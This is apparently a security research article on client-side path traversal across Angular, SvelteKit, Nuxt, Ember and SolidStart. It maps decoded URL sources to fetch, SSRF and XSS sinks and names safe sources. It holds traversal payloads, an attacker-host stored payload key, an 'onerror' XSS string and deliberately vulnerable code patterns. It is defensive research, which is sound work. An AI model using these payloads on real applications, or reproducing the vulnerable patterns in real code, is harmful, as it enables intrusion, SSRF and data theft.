The sink in Angular apps is `HttpClient.get()` (or `.post()`, `.put()`, etc.). The decoded param gets interpolated into the URL string, and the browser resolves the `../` before sending the request.

The most dangerous combination is when the `HttpClient` response flows into `[innerHTML]` with `bypassSecurityTrustHtml()`. Angular sanitizes `[innerHTML]` by default, but `bypassSecurityTrustHtml()` explicitly disables that protection. This is Angular's equivalent of React's `dangerouslySetInnerHTML`, and it turns CSPT into XSS the same way.

Source	Decoded?	Sink	Risk
`paramMap.get()`	YES, `decode()` calls `decodeURIComponent`	`HttpClient.get(url)`	High
`paramMap.pipe(switchMap(...))`	YES, same decode, Observable pattern	`HttpClient.get(url)`	High
`queryParamMap.get()`	YES, `decodeQuery()` decodes	`HttpClient.get(url)`	High
`queryParamMap.get()`	YES	`router.navigate([value])`	High (open redirect)
`snapshot.paramMap.get()`	YES, same decode pipeline	`HttpClient.get(url)`	High
Route Resolver `paramMap`	YES, decoded before resolver runs	`HttpClient.get(url)`	High
`queryParamMap.get()`	YES	`HttpClient` + `bypassSecurityTrustHtml` + `[innerHTML]`	Critical
`router.url`	NO, preserves %2F encoding	any	Safe

The only safe Angular source for URL-derived values is `router.url`.

SvelteKit

On client-side navigation, the browser's native `fetch()` resolves the `../` before sending the request. On initial page load (SSR), SvelteKit's server-side enhanced fetch resolves it internally. Either way, the traversal lands.

But the real escalation in SvelteKit is `+page.server.ts`. Server-only load functions execute with internal network access and can reach services the client cannot:

```
// src/routes/data/[dataId]/+page.server.ts
export const load = async ({ params }) => {
  const dataId = params.dataId; // decoded, traversal payload arrives here
  const doc = await fetch(`http://internal-service.local/data/${dataId}`);
  return { data: await doc.json() };
};
```

This is secondary context path traversal, analogous to Next.js route handlers. The fetch goes directly to the internal service. It does NOT pass through `hooks.server.ts`. So even if you have auth middleware in your hooks, a traversal from a server load function bypasses it entirely.

The most dangerous client-side combination is when the fetch response flows into `{@html}`, which is SvelteKit's equivalent of `dangerouslySetInnerHTML`. CSPT plus `{@html}` equals XSS, same as in React and Vue.

| Source | Decoded? | Context | Risk | | | `params` in `+page.ts` (client nav) | YES, `decode_params()` | Client-side fetch | CSPT, `%2F` decoded to `/` | | | `params` in `+page.ts` (SSR) | YES, `decode_params()` + server fetch decode | Server-side fetch | Secondary PT, server resolves `../` | | | `params` in `+page.server.ts` | YES, `decode_params()` | Server-only, internal network | SSRF, can reach internal services | | | `params` in `+server.ts` | YES, `decode_params()` | API endpoint, server-only | SSRF, direct backend access | | | `$page.params` in component | YES, same pipeline | Client-side reactive | CSPT, reactive re-fetch on param change | | | `url.searchParams` in load | YES, standard URLSearchParams | Any | CSPT, no segment boundary constraint | | | `%252F` (double-encoded) | NO, `%25`-split blocks | Any | **Safe**, stays as literal `%2F` | |

SvelteKit's param matcher defense is the best I've seen in any framework:

```
// src/params/id.ts
export function match(param: string): boolean {
  return /^[a-zA-Z0-9-_]+$/.test(param);
}
// Usage: src/routes/user/[id=id]/+page.svelte
```

If the param doesn't match the pattern, the entire route fails to match. Traversal payloads get rejected at the routing level, before any load function executes. It's opt-in, not default, but when used, it's the strongest framework-level defense available. No other framework offers route-level param validation that prevents the load function from even running.

Nuxt

The primary client-side sink is `useFetch()` and `$fetch()`. Nuxt's data-fetching composables pass the URL string directly to `globalThis.$fetch` with zero sanitization:

```
// nuxt/dist/app/composables/fetch.js:64
return _$fetch(_request.value, { signal, ..._fetchOptions });
```

The standard CSPT pattern:

```
// pages/users/[id].vue
const route = useRoute();
const { data } = useFetch(`/api/users/${route.params.id}`);
// route.params.id = "../../admin" (decoded by Vue Router)
// fetch URL: /api/users/../../admin
// Browser resolves: GET /api/admin
```

Multi-param routes double the attack surface. `/shop/..%2F..%2Fadmin/..%2Fusers` gives `route.params.category = "../../admin"` and `route.params.productId = "../users"`. A fetch to `/api/shop/${category}/products/${productId}` resolves to `/api/admin/users`.

The server-side sink is where Nuxt diverges from standalone Vue. Server routes under `server/api/` execute with full network access and can reach internal services. The common proxy pattern is the most dangerous:

```
// server/api/proxy/[...path].ts
const path = event.context.params?.path || "";
return $fetch(`https://backend.internal/${path}`);
```

Even without explicit decoding, if the backend normalizes the URL, the traversal can land. And if the developer adds `{ decode: true }` to `getRouterParam()`, the traversal is fully decoded before reaching the internal fetch. This once again opens the door for secondary context path traversal

The most dangerous client-side combination is `v-html` with an API response that the attacker controls via CSPT:

```
// pages/dashboard/stats.vue
const route = useRoute();
const widget = route.query.widget;
const { data: widgetHtml } = useFetch(`/api/widgets/${widget}`);
// template: <div v-html="widgetHtml" />
```

Navigate to `/dashboard/stats?widget=../../attachments/malicious` and the fetch hits `/api/attachments/malicious` instead of `/api/widgets/...`. If the attacker uploaded HTML as an attachment, `v-html` renders it. CSPT to XSS, same as in standalone Vue.

Nuxt also has a unique attack surface that no other framework shares: island component payload revival. The `revive-payload.client.js` plugin deserializes island data from the `window.__NUXT__` payload and fetches component data using a key from that payload:

```
// revive-payload.client.js:20
nuxtApp.payload.data[key] ||= $fetch(`/__nuxt_island/${key}.json`, {
  responseType: "json",
  ...(params ? { params } : {}),
});
```

If an attacker can poison the payload (via cache poisoning, stored injection, or MITM on the initial HTML), the key can traverse the `$fetch` URL to any same-origin endpoint. The `.json` suffix gets appended, but a query parameter absorbs it: `key = "../../api/proxy/attacker.com?x="` produces `$fetch("/__nuxt_island/../../api/proxy/attacker.com?x=.json")`, which resolves to `/api/proxy/attacker.com?x=.json`. This is stored CSPT. The payload is set once, and every client that loads the page fires the traversed fetch. This was assigned CVE-2025-59414.

| Source | Decoded? | Context | Risk | | | `route.params.*` in `useFetch` | YES, Vue Router `decodeParams()` | Client-side fetch | CSPT, `%2F` decoded to `/` | | | `route.query.*` in `useFetch` | YES, Vue Router `parseQuery()` | Client-side fetch | CSPT, no segment boundary | | | `route.hash` | YES, Vue Router `decode()` | Client-side | CSPT if interpolated into fetch | | | `getRouterParam(event, 'id')` | NO, raw by default | Server-side fetch | Safe unless `{ decode: true }` | | | `getRouterParam(event, 'id', { decode: true })` | YES | Server-side fetch | SSRF, full traversal | | | `event.context.params.*` | NO, raw from radix3 | Server-side | Safe unless manually decoded | | | Island payload `key` in `$fetch` | N/A (stored value) | Client-side, stored | Stored CSPT (CVE-2025-59414) | |

The safe sources in Nuxt are `route.path` and `route.fullPath` on the client (which preserve `%2F` encoding), and `getRouterParam()` without the decode option on the server.

Ember

The primary sink in Ember is `fetch()` in the model hook. This is the standard pattern in every Ember app:

```
// app/routes/user.js
export default class UserRoute extends Route {
  model(params) {
    return fetch(`/api/users/${params.user_id}`).then((r) => r.json());
  }
}
// params.user_id = "../../admin"    fetch("/api/admin")
```

Ember also has a second sink that's unique to its ecosystem: Ember Data adapters (now WarpDrive). The adapter pattern builds API URLs from model names and IDs, and the default `urlForFindRecord` does not encode:

```
// Vulnerable adapter pattern
urlForFindRecord(id, modelName) {
  return `/api/${modelName}s/${id}`; // No encodeURIComponent!
}
```

When a route's model hook calls `this.store.findRecord('user', params.user_id)`, the decoded param flows through the adapter's URL builder. The traversal payload `../../admin` becomes part of the fetch URL without any encoding. This is an indirect CSPT sink. The developer never calls `fetch()` directly. The framework's data layer does it for them, and the adapter doesn't sanitize.

The XSS escalation in Ember uses triple-curly syntax `{{{ }}}` instead of `dangerouslySetInnerHTML` or `v-html`. In Handlebars, double curlies `{{ }}` escape HTML. Triple curlies render raw HTML. In production builds, triple curlies compile to Glimmer VM `appendHTML` opcodes, which call `insertAdjacentHTML('beforeend', html)` on the DOM element. Functionally identical to `innerHTML`.

```
{{! dashboard/stats.hbs }}
{{{this.model.content}}}
```

If CSPT redirects a fetch to an attacker-controlled endpoint that returns HTML, and that HTML flows into a triple-curly template, you get XSS. The chain: query param decoded → interpolated into fetch URL → fetch hits attacker endpoint → response contains `<img onerror=alert(1)>` → triple curlies render it → script executes.

Ember also has `htmlSafe()` from `@ember/template`, which programmatically marks a string as safe for HTML rendering. Any component that wraps API response data in `htmlSafe()` before rendering is an XSS sink when combined with CSPT.

Source	Decoded?	Sink	Risk
`params.*` in model hook (`:param`)	YES, `findHandler()` `decodeURIComponent`	`fetch(url)`	High, CSPT
`params.*` in model hook (`*wildcard`)	Partial (normalized, not final-decoded)	`fetch(url)`	High, literal `../` works
`this.paramsFor(routeName)`	YES, same pipeline	`fetch(url)`	High, ancestor params
`this.router.currentRoute.params`	YES, same pipeline	`fetch(url)`	High
Query params in model hook	YES, browser-decoded	`fetch(url)`	High, no segment boundary
`window.location.hash` (hash routing)	Raw, client-controlled	Router pipeline	High, full path control
`transition.to.queryParams`	YES	`transitionTo(value)`	Medium, open redirect
Ember Data adapter `urlForFindRecord(id)`	YES (id from decoded params)	Internal `fetch(url)`	High, indirect CSPT
`{{{ }}}` / `htmlSafe()` with API response	N/A	`insertAdjacentHTML`	Critical, XSS

The only safe source in Ember is reading the URL directly from `window.location.pathname` or `window.location.href`, which preserves `%2F` encoding. Everything that flows through route-recognizer's `findHandler()` for dynamic segments is fully decoded.

SolidStart

The primary client-side sink is `fetch()` inside `createResource` or `createAsync`, which are Solid's reactive data-fetching primitives. When the tracked signal (params) changes via client-side

navigation, the fetcher re-executes immediately with no page reload:

```
const [user] = createResource(
  () => params.userId,
  async (userId) => {
    const res = await fetch(`/api/users/${userId}`);
    return res.json();
  },
);
```

For path params, this is safe. `params.userId` is still encoded, so the fetch URL contains encoded characters that the server receives as-is.

For search params, this is not safe:

```
const [searchParams] = useSearchParams();
const [stats] = createResource(
  () => searchParams.source,
  async (source) => {
    const res = await fetch(`/api/stats?source=${source}`);
    return res.json();
  },
);
```

Navigate to `/dashboard/stats?source=../../uploads/malicious` and the fetch fires with the decoded traversal in the query string.

SolidStart's server functions add a second sink. The `query()` API with `"use server"` serializes arguments via seroval and sends them as a POST body to `/_server`. The server deserializes the exact string the client sent. No re-encoding, no sanitization at the transport boundary:

```
const getData = query(async (dataId: string) => {
  "use server";
  const res = await fetch(`http://internal-service.local/data/${dataId}`);
  return res.json();
}, "getData");

// Client call:
const data = createAsync(() => getData(params.dataId));
```

If `params.dataId` came from a search param (decoded) or a catch-all route with real slashes, the traversal string passes through the JSON RPC boundary unchanged. `"../../admin"` on the client becomes `"../../admin"` on the server, which then interpolates it into an internal fetch URL. This is SSRF through a server function.

The XSS escalation uses Solid's native `innerHTML` prop. Unlike React's `dangerouslySetInnerHTML` (which is verbose by design to discourage use), Solid treats `innerHTML` as a first-class JSX attribute:

```
<div innerHTML={stats()} />
```

This compiles directly to `element.innerHTML = value`. Combined with CSPT via search params, if the attacker can redirect a fetch to an endpoint returning HTML, the response gets rendered into the DOM.

| Source | Decoded? | Context | Risk | | | `useParams()` (`:param`) | NO, raw from URL | Client-side fetch | Low, stays encoded | | | `useParams()` (`[...path]` catch-all) | NO, but real `/` from path | Client-side fetch | Medium, real slashes | | | `useSearchParams()` | YES, `URLSearchParams` auto-decodes | Client-side fetch | High, primary CSPT vector | | | `useLocation().pathname` | NO, raw from browser | Client-side fetch | Low, stays encoded | | | Server function args via `query()` | Passthrough (exact client string) | Server-side fetch | High, SSRF if input decoded | | | API route `event.params` | NO, raw from radix3 | Server-side fetch | Low, stays encoded | | | `innerHTML` with API response | N/A | `element.innerHTML = value` | Critical, XSS | |

The safe sources in SolidStart are `useParams()` for single-segment dynamic params and `useLocation().pathname`, both of which preserve percent-encoding. The dangerous sources are `useSearchParams()` (auto-decoded by the browser API) and any value that passes through server functions from an already-decoded input.

Conclusion

Client-side paths are a rich attack surface. Each framework parses dynamic paths and query parameters differently. There are dangerous code patterns in each framework. If a path traversal payload is be passed to a client-side fetch request, it leads to CSPT. If a path-traversal payload is passed to a Server-side fetch request, it can lead to secondary context path traversal.

Path Params: Does `%2F` Decode to `/`?

| Framework | Source | `%2F` `/`? | `%2E%2E` `..`? | Double-Encode (`%252F`)? | Decode Function | | | **React Router** | `useParams()` | YES | YES | YES (decode + replace) | `decodeURIComponent` + `.replace(/%2F/g, "/")` | | | **Next.js** | `useParams()` / page `await params` | NO (re-encoded) | YES | NO | `getParamValue()` re-encodes | | | **Next.js** | Route handler `await params` | YES | YES | NO | `getRouteMatcher()` `decode` | | | **Vue Router** | `route.params.*` | YES | YES | NO | `decodeURIComponent` via `decodeParams()` | | | **Nuxt** (client) | `useRoute().params.*` | YES | YES | NO | Inherits Vue Router `decodeParams()` | | | **Nuxt** (server) | `getRouterParam(event, 'id')` | NO | NO | NO | Raw from radix3 (no decode by default) | | | **Nuxt** (server) | `getRouterParam(event, 'id', { decode: true })` | YES | YES | NO | `decodeURIComponent` | | | **Angular** | `paramMap.get()` | YES | YES | NO | `decodeURIComponent` via `decode()` | | | **SvelteKit** | `params.*` in load functions | YES | YES | NO (`%25`-split blocks) | `decode_pathname()` + `decode_params()` | | | **Ember** (`:param`) | `params.*` in model hook | YES | YES | NO (`normalizePath` re-encodes %) | `normalizePath()` + `findHandler()` `decodeURIComponent` | | | **Ember** (`*wildcard`) | `params.*` in model hook | NO (star skips final

decode) | Partial | NO | `normalizePath()` only (no final decode) | | | **SolidStart** | `useParams()` | NO | NO | NO | None (raw from URL) | |

Query Params: Decoded Everywhere

Every framework decodes query parameters. There are no exceptions.

| Framework | Source | Decoded? | Notes | | | **React Router** | `useSearchParams()` | YES | Standard `URLSearchParams` | | | **Next.js** | `useSearchParams()` / `searchParams` | YES | Standard `URLSearchParams` | | | **Vue Router** | `route.query.*` | YES | Vue's `parseQuery()`, `+` stays literal | | | **Nuxt** (client) | `useRoute().query.*` | YES | Inherits Vue Router `parseQuery()` | | | **Nuxt** (server) | `getQuery(event)` | YES | `ufo` library decodes | | | **Angular** | `queryParamMap.get()` | YES | `decodeQuery()` `decodeURIComponent` | | | **SvelteKit** | `url.searchParams` / `$page.url.searchParams` | YES | Standard `URLSearchParams` | | | **Ember** | Query params in model hook | YES | Browser-decoded | | | **SolidStart** | `useSearchParams()` | YES | Standard `URLSearchParams` | |

XSS Sinks: The Escalation Function

| Framework | Dangerous Render | Syntax | Compiles To | | | **React** | `dangerouslySetInnerHTML` | `<div dangerouslySetInnerHTML={{__html: val}} />` | `element.innerHTML = val` | | | **Next.js** | `dangerouslySetInnerHTML` | Same as React | `element.innerHTML = val` | | | **Vue / Nuxt** | `v-html` | `<div v-html="val" />` | `element.innerHTML = val` | | | **Angular** | `[innerHTML]` + `bypassSecurityTrustHtml()` | `<div [innerHTML]="val">` | `element.innerHTML = val` (bypasses sanitizer) | | | **SvelteKit** | `{@html}` | `{@html val}` | `element.innerHTML = val` | | | **Ember** | Triple curlies / `htmlSafe()` | `{{{val}}}` | `insertAdjacentHTML('beforeend', val)` | | | **SolidStart** | `innerHTML` | `<div innerHTML={val} />` | `element.innerHTML = val` | |

Safe Sources: What Won't Betray You

| Framework | Safe Source | Why | | | **React Router** | `useLocation().pathname` | Preserves `%2F` encoding | | | **Next.js** | `useParams()` / page `await params` | `getParamValue()` re-encodes `%2F` | | | **Vue Router** | `route.path`, `route.fullPath` | Preserves `%2F` encoding | | | **Nuxt** (client) | `route.path`, `route.fullPath` | Inherits Vue Router encoding preservation | | | **Nuxt** (server) | `getRouterParam()` without `{ decode: true }` | Raw from radix3, no decode | | | **Angular** | `router.url` | Preserves `%2F` encoding | | | **SvelteKit** | Param matchers (`[id=id]`) | Rejects non-matching values at route level | | | **Ember** | `window.location.pathname` | Raw browser value, bypasses route-recognizer | | | **SolidStart** | `useParams()` (single segment) | Router never calls `decodeURIComponent` | |

Server-Side / Secondary Traversal Sinks

| Framework | Server Sink | Params Decoded? | Risk | | | **Next.js** | Route handler `await params` `fetch()` | YES (auto-decoded) | SSRF to internal services | | | **Nuxt** | `getRouterParam(event, 'id', { decode: true })` `$fetch()` | YES (opt-in) | SSRF to internal services | | | **SvelteKit** | `+page.server.ts` / `+server.ts` params `fetch()` | YES (`decode_params()`) | SSRF, bypasses `hooks.server.ts` | | | **SolidStart** | `query("use server")` args `fetch()` | Passthrough (exact client string) | SSRF if input already decoded | |

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